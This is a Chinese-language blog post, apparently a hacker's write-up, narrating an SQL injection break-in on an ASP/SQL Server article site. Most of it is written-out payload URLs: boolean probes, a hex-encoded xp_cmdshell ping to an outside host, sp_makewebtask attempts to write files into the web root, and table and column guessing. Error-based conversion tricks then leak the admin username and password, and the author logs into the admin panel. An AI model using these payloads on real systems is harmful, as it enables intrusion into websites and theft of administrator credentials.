注:具体技术细节就省了,此文为实现思路:P
发现一个网站有sql injection漏洞,试了几次猜到sql查询结构(这个文章管理系统我不知有没有开源码,所以是盲人摸象式的攻击): http://www.test.com/list.asp?id=1707 and 1=1 “找到文章” http://www.test.com/list.asp?id=1707 and 1=2 “找不到文章” 然后自然想試试能不能用xp_cmdshell得到shell: http://www.test.com/list.asp?id=1707 declare @airplane sysname select @airplane=0x700069006e006700200031002e0031002e0031002e003100 exec master..xp_cmdshell @airplane 1.1.1.1安装了sniffer,用以获取icmp包,结果没有获取icmp包..试了恢复xp_cmdshell也不行。有可能权限不够,再试了几个扩展存储都不行,放弃获取shell了:~~~( 再试EXEC master..sp_makewebtask "d:\www\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES" EXEC master..sp_makewebtask "e:\www\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES" EXEC master..sp_makewebtask "f:\www\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES" EXEC master..sp_makewebtask "d:\wwwroot\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES" EXEC master..sp_makewebtask "e:\wwwroot\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES" ………… 放弃放弃:(
试获取表名之类 的信息.因为对方是整型变量,试了下还是比较难利用的,包括使用了以前一些成熟的sql injection技术都走不通。但是可以利用跨表子查询猜猜列名和表名: http://www.test.com/list.asp?id=1707 or 0<>(select count(*) from admin) http://www.test.com/list.asp?id=1707 and 0<>(select count(*) from admin where username<>'') http://www.test.com/list.asp?id=1707 and 0<>(select count(*) from admin where password<>'') 通过!看来是典型的表名列名:) 接下来可以一位位的猜用户密码,今天我来改变一下这个游戏规则,利用非法运算出错直接得到用户和密码: http://www.test.com/list.asp?id=1707 and 111<>(select count(*) from admin where username>111 and password<>'')
出错信息: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'oneside' 转换为数据类型为 int 的列发生语法错误。 /list.asp,行13
然后接着搞password: http://www.test.com/list.asp?id=1707 and 111<>(select count(*) from admin where username<>'111' and password>1) 出错信息:
将 nvarchar 值 'testisxts' 转换为数据类型为 int 的列时发生语法错误。
现在我们得到管理员的用户和密码了,接着猜到http://www.test.com/admin.asp管理员登录口,成功进入:)
作者主页: xhacker.exetools.com | |